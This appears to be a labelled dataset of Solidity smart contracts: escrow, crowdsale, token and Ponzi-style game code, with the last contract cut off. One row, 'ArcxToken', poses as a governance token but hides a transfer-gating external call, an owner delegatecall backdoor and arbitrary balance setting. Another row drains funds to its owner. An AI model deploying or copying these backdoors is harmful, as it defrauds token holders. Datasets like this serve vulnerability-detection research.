event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
constructor (
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _feeTimeout
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
feeTimeout = _feeTimeout;
}
function createTransaction(
uint _timeoutPayment,
address _receiver,
string _metaEvidence
) public payable returns (uint transactionID) {
transactions.push(Transaction({
sender: msg.sender,
receiver: _receiver,
amount: msg.value,
timeoutPayment: _timeoutPayment,
disputeId: 0,
senderFee: 0,
receiverFee: 0,
lastInteraction: now,
status: Status.NoDispute
}));
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function pay(uint _transactionID, uint _amount) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.sender == msg.sender, "The caller must be the sender.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amount <= transaction.amount, "The amount paid has to be less than or equal to the transaction.");
transaction.receiver.transfer(_amount);
transaction.amount -= _amount;
emit Payment(_transactionID, _amount, msg.sender);
}
function reimburse(uint _transactionID, uint _amountReimbursed) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.receiver == msg.sender, "The caller must be the receiver.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amountReimbursed <= transaction.amount, "The amount reimbursed has to be less or equal than the transaction.");
transaction.sender.transfer(_amountReimbursed);
transaction.amount -= _amountReimbursed;
emit Payment(_transactionID, _amountReimbursed, msg.sender);
}
function executeTransaction(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(now - transaction.lastInteraction >= transaction.timeoutPayment, "The timeout has not passed yet.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
transaction.receiver.transfer(transaction.amount);
transaction.amount = 0;
transaction.status = Status.Resolved;
}
function timeOutBySender(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingReceiver, "The transaction is not waiting on the receiver.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, SENDER_WINS);
}
function timeOutByReceiver(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingSender, "The transaction is not waiting on the sender.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, RECEIVER_WINS);
}
function payArbitrationFeeBySender(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.sender, "The caller must be the sender.");
transaction.senderFee += msg.value;
require(transaction.senderFee >= arbitrationCost, "The sender fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.receiverFee < arbitrationCost) {
transaction.status = Status.WaitingReceiver;
emit HasToPayFee(_transactionID, Party.Receiver);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function payArbitrationFeeByReceiver(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.receiver, "The caller must be the receiver.");
transaction.receiverFee += msg.value;
require(transaction.receiverFee >= arbitrationCost, "The receiver fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.senderFee < arbitrationCost) {
transaction.status = Status.WaitingSender;
emit HasToPayFee(_transactionID, Party.Sender);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function raiseDispute(uint _transactionID, uint _arbitrationCost) internal {
Transaction storage transaction = transactions[_transactionID];
transaction.status = Status.DisputeCreated;
transaction.disputeId = arbitrator.createDispute.value(_arbitrationCost)(AMOUNT_OF_CHOICES, arbitratorExtraData);
disputeIDtoTransactionID[transaction.disputeId] = _transactionID;
emit Dispute(arbitrator, transaction.disputeId, _transactionID, _transactionID);
if (transaction.senderFee > _arbitrationCost) {
uint extraFeeSender = transaction.senderFee - _arbitrationCost;
transaction.senderFee = _arbitrationCost;
transaction.sender.send(extraFeeSender);
}
if (transaction.receiverFee > _arbitrationCost) {
uint extraFeeReceiver = transaction.receiverFee - _arbitrationCost;
transaction.receiverFee = _arbitrationCost;
transaction.receiver.send(extraFeeReceiver);
}
}
function submitEvidence(uint _transactionID, string _evidence) public {
Transaction storage transaction = transactions[_transactionID];
require(
msg.sender == transaction.sender || msg.sender == transaction.receiver,
"The caller must be the sender or the receiver."
);
require(
transaction.status < Status.Resolved,
"Must not send evidence if the dispute is resolved."
);
emit Evidence(arbitrator, _transactionID, msg.sender, _evidence);
}
function appeal(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
arbitrator.appeal.value(msg.value)(transaction.disputeId, arbitratorExtraData);
}
function rule(uint _disputeID, uint _ruling) public {
uint transactionID = disputeIDtoTransactionID[_disputeID];
Transaction storage transaction = transactions[transactionID];
require(msg.sender == address(arbitrator), "The caller must be the arbitrator.");
require(transaction.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(transactionID, _ruling);
}
function executeRuling(uint _transactionID, uint _ruling) internal {
Transaction storage transaction = transactions[_transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Invalid ruling.");
if (_ruling == SENDER_WINS) {
transaction.sender.send(transaction.senderFee + transaction.amount);
} else if (_ruling == RECEIVER_WINS) {
transaction.receiver.send(transaction.receiverFee + transaction.amount);
} else {
uint split_amount = (transaction.senderFee + transaction.amount) / 2;
transaction.sender.send(split_amount);
transaction.receiver.send(split_amount);
}
transaction.amount = 0;
transaction.senderFee = 0;
transaction.receiverFee = 0;
transaction.status = Status.Resolved;
}
function getCountTransactions() public view returns (uint countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint[] transactionIDs) {
uint count = 0;
for (uint i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address || transactions[i].receiver == _address)
count++;
}
transactionIDs = new uint[](count);
count = 0;
for (uint j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address || transactions[j].receiver == _address)
transactionIDs[count++] = j;
}
}
} | 0 | 1,049 |
contract TheGame {
address public first_player;
uint public regeneration;
uint public jackpot;
uint public collectedFee;
address[] public playersAddresses;
uint[] public playersAmounts;
uint32 public totalplayers;
uint32 public lastPlayerPaid;
address public mainPlayer;
uint32 public round;
uint public amountAlreadyPaidBack;
uint public amountInvested;
uint constant SIX_HOURS = 60 * 60 * 6;
function TheGame() {
mainPlayer = msg.sender;
first_player = msg.sender;
regeneration = block.timestamp;
amountAlreadyPaidBack = 0;
amountInvested = 0;
totalplayers = 0;
}
function contribute_toTheGame() returns(bool) {
uint amount = msg.value;
if (amount < 1 ether) {
msg.sender.send(msg.value);
return false;
}
if (amount > 100 ether) {
msg.sender.send(msg.value - 100 ether);
amount = 100 ether;
}
if (regeneration + SIX_HOURS < block.timestamp) {
if (totalplayers == 1) {
playersAddresses[playersAddresses.length - 1].send(jackpot);
} else if (totalplayers == 2) {
playersAddresses[playersAddresses.length - 1].send(jackpot * 70 / 100);
playersAddresses[playersAddresses.length - 2].send(jackpot * 30 / 100);
} else if (totalplayers >= 3) {
playersAddresses[playersAddresses.length - 1].send(jackpot * 70 / 100);
playersAddresses[playersAddresses.length - 2].send(jackpot * 20 / 100);
playersAddresses[playersAddresses.length - 3].send(jackpot * 10 / 100);
}
jackpot = 0;
first_player = msg.sender;
regeneration = block.timestamp;
playersAddresses.push(msg.sender);
playersAmounts.push(amount * 2);
totalplayers += 1;
amountInvested += amount;
jackpot += amount;
first_player.send(amount * 3 / 100);
collectedFee += amount * 3 / 100;
round += 1;
} else {
regeneration = block.timestamp;
playersAddresses.push(msg.sender);
playersAmounts.push(amount / 100 * 150);
totalplayers += 1;
amountInvested += amount;
jackpot += (amount * 5 / 100);
first_player.send(amount * 3 / 100);
collectedFee += amount * 3 / 100;
while (playersAmounts[lastPlayerPaid] < (address(this).balance - jackpot - collectedFee) && lastPlayerPaid <= totalplayers) {
playersAddresses[lastPlayerPaid].send(playersAmounts[lastPlayerPaid]);
amountAlreadyPaidBack += playersAmounts[lastPlayerPaid];
lastPlayerPaid += 1;
}
}
}
function() {
contribute_toTheGame();
}
function restart() {
if (msg.sender == mainPlayer) {
mainPlayer.send(address(this).balance);
selfdestruct(mainPlayer);
}
}
function new_mainPlayer(address new_mainPlayer) {
if (msg.sender == mainPlayer) {
mainPlayer = new_mainPlayer;
}
}
function collectFee() {
if (msg.sender == mainPlayer) {
mainPlayer.send(collectedFee);
}
}
function newfirst_player(address newfirst_player) {
if (msg.sender == first_player) {
first_player = newfirst_player;
}
}
} | 0 | 336 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = safeAdd(weiRaisedTotal, msg.value);
if(weiRaisedTotal > weiCap) {
throw;
}
Invested(investor, msg.value, customerId);
}
function investWithId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function investWithoutId() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 47 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ArcxToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 3625000000000000000000;
string public name = "ARC Governance Token";
string public symbol = "ARCX";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 2,878 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
